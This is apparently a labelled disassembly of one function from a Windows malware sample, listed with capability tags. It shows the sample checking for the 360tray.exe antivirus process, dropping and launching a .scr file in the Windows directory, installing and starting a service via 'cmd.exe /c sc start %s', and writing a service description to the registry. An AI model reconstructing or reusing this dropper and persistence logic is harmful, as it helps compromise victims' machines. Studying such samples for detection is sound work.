Function at 0x404460
Capabilities:
Create directory
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x413200
push 0x40a8d8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x63c
push ebx
push esi
push edi
push 0x200
lea eax, [ebp - 0x3a4]
push eax
xor ebx, ebx
push ebx
call fcn.0040a040
push 0x80
lea ecx, [ebp - 0x1a0]
push ecx
call fcn.00409ec0
mov byte [ebp - 0x19e], bl
push 0x416028
mov edx, dword [ebp + 0x14]
push edx
call fcn.0040aab4
add esp, 0x1c
mov edx, eax
cmp edx, ebx
je 0x404562
lea ebx, [ebp - 0x1a0]
mov edi, 0x416028
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, ebx
mov ebx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ebx, [ebp - 0x1a0]
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x1a0]
push eax
call fcn.0040a100
add esp, 4
test eax, eax
jne 0x404548
push eax
lea ecx, [ebp - 0x1a0]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0x416028
xor ebx, ebx
push ebx
call fcn.0040aab4
add esp, 8
mov edx, eax
cmp edx, ebx
jne 0x4044cc
lea edi, [ebp - 0x1a0]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea edx, [ebp - 0x3a4]
push edx
lea eax, [ebp - 0x1a0]
push eax
call fcn.0040aec0
add esp, 0xc
test eax, eax
je 0x4046ac
mov dword [0x4196ec], 1
push 0x1a
call fcn.00406840
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00406840
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00406840
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00406840
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00406840
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00406840
add esp, 4
add eax, 0x61
push eax
push str._c_c_c_c_c_c.exe
lea ecx, [ebp - 0x3fc]
push ecx
call dword [0x4196a4]
lea edx, [ebp - 0x1a0]
mov edi, 0x416028
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x3fc]
lea edx, [ebp - 0x1a0]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x1a0]
push eax
lea ecx, [ebp - 0x3a4]
push ecx
call fcn.00403580
add esp, 0x28
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x3a4]
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x1a0]
lea edx, [ebp - 0x3a4]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x3a4]
push ecx
call fcn.00404ed0
push str.360tray.exe
call fcn.004036d0
add esp, 8
test eax, eax
je 0x40477e
mov byte [ebp - 0x40c], 0
xor edx, edx
mov dword [ebp - 0x40b], edx
mov dword [ebp - 0x407], edx
mov dword [ebp - 0x403], edx
mov word [ebp - 0x3ff], dx
mov byte [ebp - 0x3fd], dl
mov byte [ebp - 0x44c], dl
mov ecx, 0xf
xor eax, eax
lea edi, [ebp - 0x44b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x10
lea eax, [ebp - 0x40c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.:winX86_6021125.scr
movsx ecx, byte [ebp - 0x40c]
push ecx
push str._c_s
lea edx, [ebp - 0x44c]
push edx
call dword [0x4196a4]
add esp, 0x10
push 1
call fcn.00405560
push ebx
lea eax, [ebp - 0x44c]
push eax
push 0x415ff0
push 0x66
push ebx
call fcn.00402520
add esp, 0x14
push ebx
push ebx
push ebx
lea ecx, [ebp - 0x44c]
push ecx
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x1a4], ebx
mov dword [ebp - 0x3ac], ebx
mov dword [ebp - 0x3a8], ebx
mov dword [ebp - 4], ebx
push 0xf003f
push ebx
push ebx
call dword [0x419674]
mov esi, eax
mov dword [ebp - 0x3a8], esi
cmp esi, ebx
je 0x4048f0
push ebx
push ebx
push ebx
push ebx
push ebx
lea edx, [ebp - 0x1a0]
push edx
push ebx
push 2
push 0x10
push 0xf01ff
mov eax, dword [ebp + 0xc]
push eax
mov ebx, dword [ebp + 8]
push ebx
push esi
call dword [0x419660]
mov dword [ebp - 0x3ac], eax
mov byte [ebp - 0x64c], 0
mov ecx, 0x7f
xor eax, eax
lea edi, [ebp - 0x64b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push ebx
push str.cmd.exe__c_sc_start__s
lea ecx, [ebp - 0x64c]
push ecx
call dword [0x4196a4]
add esp, 0xc
mov eax, dword [ebp - 0x3ac]
test eax, eax
jne 0x40484b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x40484b
push 0xf01ff
push ebx
push esi
call dword [0x419670]
mov dword [ebp - 0x3ac], eax
test eax, eax
je 0x4048f0
push 0
lea edx, [ebp - 0x64c]
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
lea eax, [ebp - 0x64c]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
lea edx, [ebp - 0x120]
mov edi, str.SYSTEMCurrentControlSetServices_
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edx, [ebp - 0x120]
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x1a4]
push eax
lea ecx, [ebp - 0x120]
push ecx
push closesocket
call dword [0x419664]
mov esi, dword [ebp + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push 1
push 0
push str.Description
mov edx, dword [ebp - 0x1a4]
push edx
call dword [0x419668]
mov esi, dword [ebp - 0x3a8]
mov dword [ebp - 4], 0xffffffff
call fcn.00404913
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret